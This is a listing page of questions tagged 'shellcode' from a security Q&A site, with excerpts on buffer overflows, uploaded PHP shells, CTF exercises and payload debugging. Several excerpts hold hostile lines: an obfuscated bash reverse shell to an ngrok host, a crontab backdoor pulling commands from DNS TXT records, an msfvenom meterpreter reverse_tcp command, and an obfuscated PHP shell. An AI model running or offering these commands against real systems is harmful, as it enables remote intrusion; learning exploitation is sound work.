Questions tagged [shellcode]
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
243 questions
0
votes
0
answers
110
views
bin/sh in return-to-libc attacks
Return-to-libc is an attack where the attacker, in most cases, returns to the system function, which it uses to execute shell commands. However, I am confused about two things:
The command that the ...
- 1
0
votes
0
answers
220
views
Why does my uploaded shell as .php gets downloaded rather than executed when I hit the URL?
I have uploaded a php shell using a file upload vulnerability. But when I hit the .php url after uploading it. It gets downloaded rather than executed. Why is that. And how can I execute my shell code?...
- 129
1
vote
2
answers
93
views
PHP embedded within PNG is not executing rather randering in IIS but executes in Apache
I am pentesting a site with all permissions. I have been able to upload a PHP shell embedded within a png image. I have also been able to change the extension of the file like
something.php. So my ...
- 129
1
vote
0
answers
114
views
How to get Avast to stop quarantining my program?
I need to use a .NET shellcode inside a c++ unmanaged process. Let me be clear the shellcode is not malicious by any means, I just need it to load .NET code in an unmanaged process.
Antivirus won't ...
1
vote
0
answers
67
views
How can I jump to an address after executing a donut shellcode?
I'm looking to execute a shellcode by packaging it inside an executable.
I generate an executable (open the calculator)
I output a shellcode from the executable with donut.
donut.exe -i opencalc.exe ...
- 11
1
vote
0
answers
213
views
Buffer Overflow shell
I'm trying to exploit the code posted by ir0nstone at this link. I followed any of the steps listed in the tutorial, but Address space layout randomization (ASLR) is not enabled on my machine. When I ...
- 11
0
votes
1
answer
98
views
Reverse Shell payload does not work
$(/bin/prin[t]f 'ba\x73h -c \x27ba\x73h -i \x3e\x26 /d\x65v/t\x63p/2.t\x63p.eu.ngrok.io/xxxxx 0\x3e\x261\x27')
-i: -c: line 1: unexpected EOF while looking for matching `''
I was trying to get a ...
0
votes
0
answers
147
views
push /bin/sh to get a shell
I usually use a different method to push /bin/sh in rdi to get a shell, but I wanted to try this one :
Put in case that I can control the RIP and there are no limitations or filters. So I can execute ...
- 1
1
vote
0
answers
143
views
How can I exploit the following code using string format vulnerabilities, Global offset table & GDB? [closed]
The following code should be exploited and I need to exploit it in such a way that it runs my command (l33t) and there should be shellcode and exploit included, so that it runs my command. I believe I ...
- 11
1
vote
0
answers
156
views
How to properly pack address into bytes to overwrite EIP register
I'm learning how to exploit a tiny web server based on a well written post here: https://blog.coffinsec.com/2017/11/10/tiny-web-server-buffer-overflow-discovery-and-poc.html
I am very close to ...
- 111
0
votes
0
answers
329
views
Encoding shellcode to hide in filename / directory
Working on a CTF challenge and the coordinators hint suggests that one of the vectors to inject shellcode is via pathing. Looking at debugging prints does show the cwd and filename are passed onto the ...
- 1
0
votes
1
answer
288
views
Exporting shellcode to environment variable doesn't work as expected
(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )
When exporting shellcode to EGG environment variable
export ...
0
votes
1
answer
668
views
Unable to execute shellcode on x86_64 architecture
I currently got interested in binary exploitation (even though I do not know if today is still useful).
I started studying shellcode and buffer overflow (stack-buffer overflow, specifically). I know ...
1
vote
1
answer
493
views
Buffer overflow stops executing shellcode in the middle of it
I am trying to execute a simple shellcode by using a buffer overflow. The shell code starts executing but stops in the middle (even though it is fully copied to memory).
This is the vulnerable C code:...
- 121
0
votes
1
answer
198
views
Info integer overflow vulnerability
I've found this interesting question Is this integer overflow vulnerability exploitable?.
How can I practically find the next instruction (in gdb) so that I can overwrite the return address and ...
- 1
0
votes
1
answer
146
views
pvefindaddr p2 in mona?
Is there a !pvefindaddr p2 (search for all pop/pop/ret combinations in the entire process memory space) equivalent in mona.py?
Alternatively, is there any option to run pvefindaddr in latest versions ...
2
votes
1
answer
145
views
Does it matter what nameserver is queried for TXT records?
I found this backdoor in a crontab:
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
And if i understood correctly, it queries all the TXT records in the domain ...
2
votes
1
answer
211
views
Why would you use the command `test` in a php shell injection?
I saw someone doing this in a php shell injection:
test | cat /var/backup/secret.txt
Why are they using test |? How is that not useless here?
1
vote
2
answers
676
views
Linux x86_64 Assembly works standalone, but Segfaults when ran as shellcode in C
I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page:
[bits 64]
global _start
section .text
_start:
xor rcx, rcx
...
- 992
1
vote
2
answers
1k
views
Abusing Shell Feature for Privilege Escalation
This was covered in Linux PrivEsc, task 15, in this TryHackMe room.
I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/...
- 211
-1
votes
1
answer
571
views
How do you execute ls -la when encoded as hex? [closed]
There used to be a really bad joke from the internet where you would copy something starting with \x0B\x2E... (just an example) and when you execute this command the terminal would interpret it as ...
- 1,675
0
votes
2
answers
883
views
What is the maximum payload injection size
I have been conducting some minor research into the various forms of exploitation, such as buffer overflows and similar.
Most tutorials seem to focus on executing shellcode, that is code which ...
- 211
0
votes
2
answers
487
views
Shellcode not executing despite EIP being overwritten properly
Here is my exploit:
junk = b'A' * 1032
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives
shellcode = b""
shellcode += b"\x33\xc0" # xor eax, ...
- 121
0
votes
0
answers
620
views
Shell does not execute after buffer overflow
I am trying to do a buffer overflow on 64-bit Kali VM. When I execute the program and inject the NOP sled + shellcode + return address, the shell does not execute. I think it might have something to ...
- 1
4
votes
2
answers
309
views
Instruction Overwrites with Garbage?
I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-...
- 2,052
0
votes
1
answer
138
views
What is claimed here about a vulnerability in the target of a "really common shell"?
in https://twitter.com/nnwakelam/status/1363761612423786496, its tweeted:
fucking yikes.. ran every bitcoin exchange for a really common shell and found....
Uname: Linux cloudimage 4.4.0-166-generic ...
- 125
1
vote
1
answer
123
views
CLI application running user defined command periodically [closed]
For a toy CLI application I'm writing, I'd like to store a string with an user defined command that will be executed periodically (like shell -c <command_string>).
I have seen other applications ...
- 113
2
votes
1
answer
2k
views
BufferOverflow ESP too small for shellcode
I want to write an exploit for a test application that provides only 12 bytes of space at the ESP. I'm not able to place shellcode in such a small space. I have no clue what I can do to solve this.
I ...
- 21
2
votes
1
answer
678
views
How to avoid crash after successfully run shellcode?
I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no ...
- 21
2
votes
2
answers
2k
views
How do I gain root access to a system using a setuid root binary?
Assuming that I have no ability to use sudo and rather limited permissions, but I have a shell script exploit that allows to me change the file ownership of a file to the current user by running a ...
- 23
1
vote
3
answers
1k
views
Can't inject meterpreter shellcode in c++ code
I want to inject meterpreter shellcode in a c++ program.
When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well.
But when I create shellcode and inject it ...
- 11
0
votes
1
answer
282
views
Automatically insertion of 00 in EIP in Stack Overflow 64bit
I am trying to overflow a stack in C sample code to execute uncalled function in code.
The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be ...
- 101
1
vote
0
answers
203
views
MessageBoxA only shows up in debugger?
This question is related to crackmes.de's k1 by xtfusion. I'm trying to add custom shellcode through stack overflow.
The shellcode works perfect under Windows XP (without ASLR) when the program is ...
- 111
0
votes
2
answers
2k
views
Can't execute shell i uploaded with cURL
I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension.
When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
- 3
1
vote
1
answer
812
views
Decompiling shellcode
I'm trying to understand how shellcode works.
I wrote a simple program in C#, then I used Donut to create the shellcode from that exe in base64 format.
Then, I wrote again another program to convert ...
- 13
2
votes
1
answer
721
views
Exploit education stack-five: trouble opening shell
Im trying the phoenix vm, challenge stack-five on exploit.education (http://exploit.education/phoenix/stack-five/).
I run onto a problem while exploiting a stack overflow. The challenge is run execve('...
- 23
1
vote
1
answer
8k
views
Shellcode in MongoDB Python code
I know I can input this into a search box that queries the MongoDB. I have updated the code with my shell code, but I won't include that, I will just use the exploit as it is here:
db.my_collection....
- 119
0
votes
0
answers
151
views
Pwnable: Process has its own home directory
I recently started to do the pwnable.tw challenges. I have no problem understanding the actual buffer-overflow and shellcode injection.
However, after the shell is spawned, the flag is read from /...
- 1
0
votes
2
answers
1k
views
Find Buffer Overflows at a target you want to gain access
I want to pass my OSCP exam and I am learning with the material I got. I watched the videos and read the pdf but I have a question about buffer overflows.
In the example in the videos, the guy has ...
- 123
0
votes
1
answer
274
views
How to block for open Web Shell in my CentOS 6
I currently use mod_security in combination with maldec and block almost all attempts to upload shells, leading them to error 406. However, I found one "problem" if I upload Shell through an ftp ...
- 1
0
votes
1
answer
2k
views
In Buffer overflow exploitation what if JMP ESP address contains bad characters?
I was writing an exploit for BOF. The server accepts only ASCII payloads. FInally I wnted to jump to my shellcode which is clearly in the stack. But only one module is available without ASLR and DEP ...
- 133
0
votes
1
answer
2k
views
Executing shellcode in python format [closed]
So after running the command:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py
I receive the output:
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
1
vote
3
answers
264
views
Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell?
I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but ...
- 113
4
votes
2
answers
5k
views
Why is a shell not spawning after a buffer overflow exploit?
I started learning about stack-smashing after it came up during a CTF exercise. I have been practicing on an ELF 32-bit executable that I received for the CTF.
After disassembling the binary file, I ...
- 143
2
votes
2
answers
906
views
Basic questions about shellcode
Is the hex code at the top of this source file the same as the assembly at the bottom, as in they do the same thing?
How can I convert assembly into hex like in this source code file? I frequently ...
- 713
1
vote
0
answers
68
views
What's the point of this php shell? [duplicate]
What is the point of this shell code? There is no other code in the file.
@preg_match_all("/\t \t(.+)\t\t/Ui",@file_get_contents(__FILE__),$r);
$w="";foreach($r[1] as $v){@$w.=@chr(@strlen($v));}
$e=...
- 565
0
votes
0
answers
367
views
Windows shellcode not working in C
I have been trying to run a raw piece of shellcode collected on the net within a C wrapper to try it but it never works...
I know the shellcode below is all right because it does work in the context ...
- 1
0
votes
0
answers
2k
views
permission denied when executing an elf payload
I can examine a payload using libemu (sctest) and ndisasm, like this :
msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 1000
msfvenom -p linux/x86/shell_bind_tcp -f raw | ndisasm -u -...
- 101
0
votes
0
answers
287
views
How to forbid user from executing malicious shell and Python script?
I am designing a online programming website similar to https://repl.it. Users can execute shell and python scripts on the browsers.
If users execute malicious commands including but not limited to "...
- 101
1
vote
0
answers
240
views
Confusing with the exact location of a shellcode in memory?
When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But
most of the time, it crashes saying 'segmentation fault'. I got the same ...
